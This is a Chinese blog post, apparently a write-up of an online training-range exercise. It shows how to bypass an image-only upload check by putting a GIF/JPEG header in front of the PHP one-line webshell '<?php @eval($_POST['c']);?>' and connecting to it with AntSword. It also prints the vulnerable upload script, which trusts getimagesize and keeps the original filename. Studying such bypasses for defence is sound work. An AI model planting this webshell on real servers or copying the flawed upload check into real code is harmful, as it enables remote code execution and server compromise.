路漫漫其修远兮,吾将上下而求索

导航

php一句话图片马上传绕过

主页

  

burpsuite截获,修改后缀为php,末尾加上一句话马(内容开头一定要是图片文件标志头),上传成功并返回路径

<?php @eval($_POST['c']);?>

  

其他测试:

1、删掉部分图片内容时(图片文件头不对),无法上传 

  

2、可以修改图片文件头为gif文件的标志头:GIF87a或者GIF89a,都可以成功上传

 

3、冰蝎不支持,不知道为什么,是不是不支持图片马?

 

 

 前面的图片马可打开浏览,但无法连接jpg格式马

 

 使用蚁剑连接,密码就是c,测试连接成功

 

找源代码文件

  

顺便看看上传模块源码

<?php
//文件上传漏洞演示脚本之内容验证
header("Content-type: text/html; charset=utf-8"); 
error_reporting(0);
$uploaddir = 'uploads/';
if (isset($_POST['submit'])) {
    if (file_exists($uploaddir)) {
        //print_r($_FILES);
        $file_name = $_FILES['upfile']['tmp_name'];
        //print_r(getimagesize($file_name));
        $allow_ext = array('image/png', 'image/gif', 'image/jpeg', 'image/bmp');
        $img_arr = getimagesize($file_name);
        //print_r($img_arr);
        $file_ext = $img_arr['mime'];
        if (in_array($file_ext, $allow_ext)) {
            if (move_uploaded_file($_FILES['upfile']['tmp_name'], $uploaddir . '/' . $_FILES['upfile']['name'])) {
                echo '文件上传成功,保存于:' . $uploaddir . $_FILES['upfile']['name'] . "\n";
            }
        } else {
            echo '此文件不允许上传' . "\n";
        }
    } else {
        exit($uploaddir . '文件夹不存在,请手工创建!');
    }
    //print_r($_FILES);
}
?>

从源码上分析看,如果上传文件的mime类型file_ext在allow_ext(

'image/png', 'image/gif', 'image/jpeg', 'image/bmp'

)中,就移动上传文件到/uploads/文件夹下

 

  

参考:

WebShell文件上传漏洞分析溯源(第3题)_文件上传_在线靶场_墨者学院_专注于网络安全人才培养 

posted on 2021-06-28 14:01  爱在西元间  阅读(3120)  评论(0编辑  收藏  举报